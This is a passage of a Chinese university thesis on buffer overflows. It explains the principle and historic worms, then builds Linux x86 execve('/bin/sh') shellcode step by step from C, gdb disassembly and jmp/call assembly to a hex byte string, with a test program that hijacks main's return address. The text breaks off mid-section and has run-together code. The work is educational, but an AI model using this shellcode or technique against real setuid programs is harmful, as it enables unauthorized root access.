分析解决缓存区溢出问题.docx
《分析解决缓存区溢出问题.docx》由会员分享,可在线阅读,更多相关《分析解决缓存区溢出问题.docx(32页珍藏版)》请在冰豆网上搜索。
分析解决缓存区溢出问题
南昌大学毕业设计
分析、解决缓存区溢出问题
姓名:
李荣国
学号:
99081065
学院:
计算机与信息学院
专业:
计算机科学与技术
班级:
计99
(2)班
指导老师:
薛之昕6
目录
第1章:
缓存区溢出原理分析及其危害
第2章:
案例分析
第1节:
在UINX操作系统下的一个缓存区溢出实例分析
2.1.1:
如何书写一个shellcode
2.1.2:
实现一个shellcode
2.1.3:
shellcode的汇编源程序
2.1.4:
利用堆栈溢出获得shell
2.1.5:
利用堆栈溢出获得rootshell
第2节:
window系统下的堆栈溢出案例
2.2.1:
溢出字符串的设计
2.2.2:
winamp2.10版的缓冲区漏洞分析
2.2.3:
实现一个exploit
2.2.4:
对windows下的bufferoverflow总结
第3章:
解决方案
摘要:
缓存区溢出,又称堆栈溢出、BufferOverflow。
其基本理是当来自某个程序的输入数据超出程序缓冲区能够处理的长度时会产生溢出,结果不受程序员的控制。
当入侵者巧妙地安排代码后,被攻击的服务器还可能执行入侵者指定的程序代码,从而导致攻击者甚至可以获得系统中超级用户的权限。
Abstract:
Buffermemoryareaoverflows,haveanothernamecalledstorehouseoverflowing,BufferOverflow.Itpayattentiontoandwillwhenthedata-infromacertainproceduregoesbeyondthelengthwhichcanbedealtwithinbufferingareaofprocedureproduceandoverflowbasically,Theresultdoesnotreceivetheprogrammer'scontrol.Aftertheinvadorarrangescodesingeniously,mightcarryouttheprocedurecodethatinvadorsappointedalsoserverthatattack,Causeassailantcangetsuperauthorityofuserinthesystem.
关键字:
缓存区溢出,堆栈溢出,缓存区,堆栈,溢出。
Keywords:
BufferOverflow,StackOverflow,StackOverflow
正文:
第1章:
缓存区溢出原理分析及其危害
缓存区溢出,又称堆栈溢出(BufferOverflow)。
这种类型的攻击赫赫有名,频频出现在CERT、SANS、CSI等国际网络安全组织的最具威胁的攻击类型名单内。
在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有3种是基于社会工程学的信任关系,2种是缓冲区溢出在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的;在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。
据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
为了便于理解,我们不妨打个比方。
缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。
一旦该容器放满了,余下的部分就溢出在柜台和地板上,弄得一团糟。
由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区——五磅的容器——做适当的检查,看它们是否够大,能否完全装入新的内容——十磅的糖,结果可能造成缓冲区溢出的产生。
如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。
但是,如果缓冲区仅仅溢出,这只是一个问题。
到此时为止,它还没有破坏性。
当糖溢出时,柜台被盖住。
可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。
与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。
除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。
在丢失的信息里有能够被程序调用的子程序的列表信息,直到缓冲区溢出发生。
另外,给那些子程序的信息——参数——也丢失了。
这意味着程序不能得到足够的信息从子程序返回,以完成它的任务。
就像一个人步行穿过沙漠。
如果他依赖于他的足迹走回头路,当沙暴来袭抹去了这些痕迹时,他将迷失在沙漠中。
这个问题比程序仅仅迷失方向严重多了。
入侵者用精心编写的入侵代码(一种恶意程序)使缓冲区溢出,然后告诉程序依据预设的方法处理缓冲区,并且执行。
此时的程序已经完全被入侵者操纵了。
入侵者经常改编现有的应用程序运行不同的程序。
例如,一个入侵者能启动一个新的程序,发送秘密文件(支票本记录,口令文件,或财产清单)给入侵者的电子邮件。
这就好像不仅仅是沙暴吹了脚印,而且后来者也会踩出新的脚印,将我们的迷路者领向不同的地方,他自己一无所知的地方。
这是一种渗透到系统中的攻击技术,其基本理是当来自某个程序的输入数据超出程序缓冲区能够处理的长度时会产生溢出,结果不受程序员的控制。
当入侵者巧妙地安排代码后,被攻击的服务器还可能执行入侵者指定的程序代码,从而导致攻击者甚至可以获得系统中超级用户的权限。
比如80年代的Morris“蠕虫”事件导致了当时Internet上1/3的计算机瘫痪,这种入侵方式就是采用了UNIX的Finger服务的一个缓存区溢出的漏洞;2001年的红色代码病毒在短短几个小时内传遍了全球,造成了数十亿美元的损失,也是采用了Windows服务器平台上的IIS服务的一个缓存区溢出漏洞。
为什么这种攻击这么多呢?
主要原因在于,目前广泛用于系统编程的语言——C语言本身的某些函数就存在着一些漏洞,造成了这种漏洞的广泛存在和难以彻底清查。
一般的操作系统都有一个系统调用表,包含指向每个系统调用的内存地址的指针。
应用程序对资源的访问、对硬件设备的使用、进程间的通讯都是通过系统调用接口在操作系统内核中实现的。
所有的缓冲区漏洞挖掘程序都基于以下一个假设,即:
程序在每次运行时有问题的参数压入栈内的数据地址空间偏移量是一定的(或者相差较小)。
如果在程序运行时由操作系统定义并且分配一个随机化的偏移给该应用程序,那么则专为此有缺陷的程序设计的溢出程序在溢出时就会返回一个错误的ret地址,而不能跳转到恶意构造的shellcode下。
虽然大部分的缓冲区溢出程序也能提供可调整的offset变量,但由于每次有缺陷的程序运行时都将拥有一个随机化的偏移,因此通过上次不成功的溢出猜测所得到的地址空间和内容并不能来指导修正下次调整的offset。
这种攻击之所以可能是由于某些编程语言,商业,系统,共享,开放源代码程序的本质决定的。
我们知道,Unix本身以及其上的许多应用程序都是用C语言编写的,C语言不检查缓冲区的边界。
在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区,包括用户堆栈。
这称作“堆栈溢出或缓冲区溢出”。
一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误,但是,如果输入的数据是经过“黑客”精心设计的,覆盖堆栈的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。
如果该程序恰好是以root运行的,黑客就获得了root权限,然后他就可以编译黑客程序、留下入侵后门等,实施进一步地攻击。
按照这种原理进行的黑客入侵就叫做“堆栈溢出攻击”。
攻击者通过寻找本身有这种弱点的包含setuid的程序实现堆栈溢出攻击。
这种程序可以由任何用户运行,一旦程序运行,就以root权限运行在系统中。
攻击者需要知道程序运行时保存的信息在系统中的位置,根据这些信息,攻击者运行程序,输入比系统能够接受的更多的数据。
例如,假设系统缓冲区只有20Byte,攻击者输入30byte,就像在桶中装入太多的水,水会溢出流到地上一样,剩余的数据就会进入特定的系统空间。
经过精心设计,攻击者就可获得root权限。
这种弱点一旦被发现并贴在Internet上供他人使用,这种攻击方式就会一直存在,而且适用于其他类似系统,直到弱点被消除。
这种攻击依赖于系统软件的弱点,而且数据溢出后必须进入堆栈的同一位置。
80年代著名的“蠕虫”病毒就是利用Unix的login程序的弱点,使用“堆栈溢出”发起攻击的。
“红色代码”病毒是一种新型网络病毒,其传播所使用的技术可以充分体现网络时代网络安全与病毒的巧妙结合,将网络蠕虫、计算机病毒、木马程序合为一体,开创了网络病毒传播的新路,可称之为划时代的病毒。
如果稍加改造,将是非常致命的病毒,可以完全取得所攻破计算机的所有权限为所欲为,可以盗走机密数据,严重威胁网络安全。
该病毒通过微软公司IIS系统漏洞进行感染,它使IIS服务程序处理请求数据包时溢出,导致把此“数据包”当作代码运行,病毒驻留后再次通过此漏洞感染其它服务器。
“红色代码”病毒采用了一种叫做"缓存区溢出"的黑客技术,利用网络上使用微软IIS系统的服务器来进行病毒传播。
这个蠕虫病毒使用服务器的端口80进行传播,而这个端口正是Web服务器与浏览器进行信息交流的渠道。
与其它病毒不同的是,“红色代码”不同于以往的文件型病毒和引导型病毒,并不将病毒信息写入被攻击服务器的硬盘。
它只存在于内存,传染时不通过文件这一常规载体,而是借助这个服务器的网络连接攻击其它的服务器,直接从一台电脑内存传到另一台电脑内存。
当本地IIS服务程序收到某个来自“红色代码”发送的请求数据包时,由于存在漏洞,导致处理函数的堆栈溢出。
当函数返回时,原返回地址已被病毒数据包覆盖,程序运行线跑到病毒数据包中,此时病毒被激活,并运行在IIS服务程序的堆栈中。
第2章:
案例分析
在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。
如果这个程序是setuid的,那么我们就可以获得rootshell。
第1节:
在UINX操作系统下的一个缓存区溢出实例分析
2.1.1:
如何书写一个shellcode
shellcode.c
------------------------------------------------------------------------
------
#include
voidmain(){
char*name[2];
name[0]="/bin/sh"
name[1]=NULL;
execve(name[0],name,NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。
他需要程序的名字地址作为第一个参数。
一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*)0作为第三个参数。
我们来看以看execve的汇编代码:
[nkl10]$gcc-oshellcode-staticshellcode.c
[nkl10]$gdbshellcode
(gdb)disassemble__execve
Dumpofassemblercodeforfunction__execve:
0x80002bc<__execve>:
pushl%ebp;
0x80002bd<__execve+1>:
movl%esp,%ebp
;上面是函数头。
0x80002bf<__execve+3>:
pushl%ebx
;保存ebx
0x80002c0<__execve+4>:
movl$0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5<__execve+9>:
movl0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8<__execve+12>:
movl0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb<__execve+15>:
movl0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce<__execve+18>:
int$0x80
;执行0xb号系统调用(execve) 0x80002d0<__execve+20>:
movl%eax,%edx ;下面是返回值的处理就没有用了。
0x80002d2<__execve+22>:
testl%edx,%edx
0x80002d4<__execve+24>:
jnl0x80002e6<__execve+42>
0x80002d6<__execve+26>:
negl%edx
0x80002d8<__execve+28>:
pushl%edx
0x80002d9<__execve+29>:
call0x8001a34
<__normal_errno_location>
0x80002de<__execve+34>:
popl%edx
0x80002df<__execve+35>:
movl%edx,(%eax)
0x80002e1<__execve+37>:
movl$0xffffffff,%eax
0x80002e6<__execve+42>:
popl%ebx
0x80002e7<__execve+43>:
movl%ebp,%esp
0x80002e9<__execve+45>:
popl%ebp
0x80002ea<__execve+46>:
ret
0x80002eb<__execve+47>:
nop
Endofassemblerdump.
经过以上的分析,可以得到如下的精简指令算法:
movl$execve的系统调用号,%eax
movl"bin/sh\0"的地址,%ebx
movlname数组的地址,%ecx
movlname[n-1]的地址,%edx
int$0x80;执行系统调用(execve)
当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。
所以必须再执行一个
exit()系统调用,结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码:
(gdb)disassemble_exit
Dumpofassemblercodeforfunction_exit:
0x800034c<_exit>:
pushl%ebp
0x800034d<_exit+1>:
movl%esp,%ebp
0x800034f<_exit+3>:
pushl%ebx
0x8000350<_exit+4>:
movl$0x1,%eax;1号系统调用
0x8000355<_exit+9>:
movl0x8(%ebp),%ebx;ebx为参数0
0x8000358<_exit+12>:
int$0x80;引发系统调用
0x800035a<_exit+14>:
movl0xfffffffc(%ebp),%ebx
0x800035d<_exit+17>:
movl%ebp,%esp
0x800035f<_exit+19>:
popl%ebp
0x8000360<_exit+20>:
ret
0x8000361<_exit+21>:
nop
0x8000362<_exit+22>:
nop
0x8000363<_exit+23>:
nop
Endofassemblerdump.
看来exit(0)〕的汇编代码更加简单:
movl$0x1,%eax;1号系统调用 movl0,%ebx;ebx为exit的参数0 int$0x80;引发系统调用 。
合成的汇编代码为:
movl$execve的系统调用号,%eax
movl"bin/sh\0"的地址,%ebx
movlname数组的地址,%ecx
movlname[n-1]的地址,%edx
int$0x80;执行系统调用(execve)
movl$0x1,%eax;1号系统调用
movl0,%ebx;ebx为exit的参数0
int$0x80;执行系统调用(exit)
2.1.2:
实现一个shellcode
首先我们必须有一个字符串“/bin/sh”,还得有一个name数组。
我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?
每一次程序都是动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmpcall的偏移地址#2bytes
popl%esi#1byte//popl出来的是string的地址。
movl%esi,array-offset(%esi)#3bytes//在string+8处构造name数组,
//name[0]放string的地址
movb$0x0,nullbyteoffset(%esi)#4bytes//string+7处放0作为string的//结 尾。
movl$0x0,null-offset(%esi)#7bytes//name[1]放0。
movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代码 。
movl%esi,%ebx#2bytes//ebx=string的地址
lealarray-offset,(%esi),%ecx#3bytes//ecx=name数组的开始地址
lealnull-offset(%esi),%edx#3bytes//edx=name〔1]的地址
int$0x80#2bytes//int0x80是syscall
movl$0x1,%eax#5bytes//eax=0x1是exit的syscall代码
movl$0x0,%ebx#5bytes//ebx=0是exit的返回值
int$0x80#2bytes//int0x80是syscall
callpopl的偏移地址#5bytes//这里放call,string的地址就会 作 为返回//地址压栈。
/bin/sh字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的返回地址压入堆栈。
现在来到poplesi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。
然后,在字符串的第8个字节赋0,作为串的结尾。
后面8个字节,构造name数组(两个整数,八个字节)。
2.1.3:
shellcode的汇编源程序
shellcodeasm.c
------------------------------------------------------------------------
------
voidmain(){
__asm__("
jmp0x2a#3bytes
popl%esi#1byte
movl%esi,0x8(%esi)#3bytes
movb$0x0,0x7(%esi)#4bytes
movl$0x0,0xc(%esi)#7bytes
movl$0xb,%eax#5bytes
movl%esi,%ebx#2bytes
leal0x8(%esi),%ecx#3bytes
leal0xc(%esi),%edx#3bytes
int$0x80#2bytes
movl$0x1,%eax#5bytes
movl$0x0,%ebx#5bytes
int$0x80#2bytes
call-0x2f#5bytes
.string\"/bin/sh\"#8bytes
");
}
------------------------------------------------------------------------
------
编译后,用gdb的b/bx〔地址〕命令可以得到十六进制的表示。
下面,写出测试程序如下:
(注意,这个test程序是测试shellcode的基本程序)
test.c
------------------------------------------------------------------------
------
charshellcode[]=
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"
voidmain(){
int*ret;
ret=(int*)&ret+2;//ret等于main()的返回地址
//(+2是因为:
有pushlebp,否则加1就可以了。
) (*ret)=(int)shellcode;//修//改main()的返回地址为shellcode的开始地 址。
}
[nkl10]$gcc-otesttest.c
[nkl10]$./test
$exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存